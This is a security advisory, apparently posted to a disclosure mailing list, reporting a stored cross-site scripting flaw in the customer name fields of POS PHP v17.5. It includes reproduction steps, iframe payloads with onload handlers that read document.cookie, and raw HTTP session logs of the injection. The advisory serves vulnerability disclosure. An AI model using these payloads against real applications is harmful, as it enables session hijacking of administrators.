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Date: Tue, 28 Apr 2020 10:55:12 +0200
From: Vulnerability Lab <>
Subject: [FD] POS PHP v17.5 - Persistent Cross Site Web Vulnerability

Document Title:
POS PHP v17.5 - Persistent Cross Site Web Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Persistent

Current Estimated Price:
1.000€ - 2.000€

Product & Service Introduction:
Turn your Retail Small Business into a Customer Focused, Profit
Generating Machine. Guaranteed to save you time,
increase the accuracy of your inventory, and help you make informed
decisions for your business. Types of businesses
that work great with PHP Point of Sale.

(Copy of the Homepage: )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a persistent
cross site scripting web vulnerability in the POS PHP v17.5 web-application.

Vulnerability Disclosure Timeline:
2020-04-28: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Restricted authentication (user/moderator) - User privileges

User Interaction:
Low User Interaction

Disclosure Type:
Independent Security Research

Technical Details & Description:
A persistent input validation web vulnerability has been discovered in
the official POS PHP v17.5 web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to
compromise browser to web-application requests from the application-side.

The persistent web vulnerability is located in the firstname and
lastname parameter of the customer profile module.
Remote attackers are able to change or add malicious script code as
firstname and lastname to customer profiles.
Thus allows to execute the script code with persistent attack vector
against administrators in the backend in the
/customers/ or customers/save/ modules. The request method to inject is
POST via add or edit of the customer and
the attack vector is located on the application-side.

Successful exploitation of the vulnerability results in session
hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation of
affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Customer (index.php/customers/save)

Vulnerable Input(s):
[+] Firstname
[+] Lastname

Vulnerable File(s):

Vulnerable Parameter(s):
[+] firstname
[+] lastname

Affected Module(s):
[+] index.php/customers/

Proof of Concept (PoC):
The persistent input validation web vulnerability can be exploited by
remote attackers with low privilege user account with low user interaction.
For security demonstration or to reproduce the security web
vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce ...
1. Register a customer account
2. Move to the profile section
3. Inject test payload into the vulnerable firstname and lastname input
4. Save the entry and wait
Note: The execute occurs in the backend on preview of barcode, customer
details and more
5. Wait until the admin or other high privileged user roles are
interacting for execute
6. Successful reproduce of the persistent web vulnerability!

PoC: Exploitation
<iframe src="evil.source" onload="alert(document.domain)">
<iframe src="evil.source" onload="alert(document.cookie)">

PoC: Vulnerable Source
Reports - PHP Point Of Sale, Inc "<iframe src="evil.source"
onload="alert(document.cookie)"> >"<iframe src=evil.source
Report<small class="reports-range">04/25/2019-04/25/2020</small>
<button class="btn btn-primary text-white hidden-print print_button
pull-right"> Print </button>	
<button class="btn btn-primary text-white hidden-print
save_report_button pull-right" data-message="Enter report name"> Add to

--- PoC Session Logs [POST] ---
Host: pos-php.localhost:8000
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 156
Origin: https://pos-php.localhost:8000
Connection: keep-alive
Referer: https://pos-php.localhost:8000/index.php/customers/view/-1/
Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u
name=>"<iframe src=evil.source onload=alert(document.cookie)> >"<iframe
POST: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
content-length: 19
server: Apache
cache-control: no-store, no-cache, must-revalidate
set-cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u; path=/; HttpOnly
Host: pos-php.localhost:8000
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
Content-Length: 5237
Origin: https://pos-php.localhost:8000
Connection: keep-alive
Referer: https://pos-php.localhost:8000/index.php/customers/view/-1/
Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u
first_name=>"<iframe src=evil.source
onload=alert(document.cookie)>&last_name=>"<iframe src=evil.source
account_number=&tax_class=&tax_names[]=Sales Tax,Sales Tax
POST: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
content-length: 155
server: Apache
cache-control: no-store, no-cache, must-revalidate
set-cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u; path=/; HttpOnly
vary: Accept-Encoding
content-encoding: gzip
Host: pos-php.localhost:8000
Connection: keep-alive
Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u
GET: HTTP/2.0 200 OK
content-type: text/html; charset=iso-8859-1
content-length: 199
server: Apache

Credits & Authors:
Vulnerability-Lab -
Benjamin Kunz Mejri -

Disclaimer & Information:
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.


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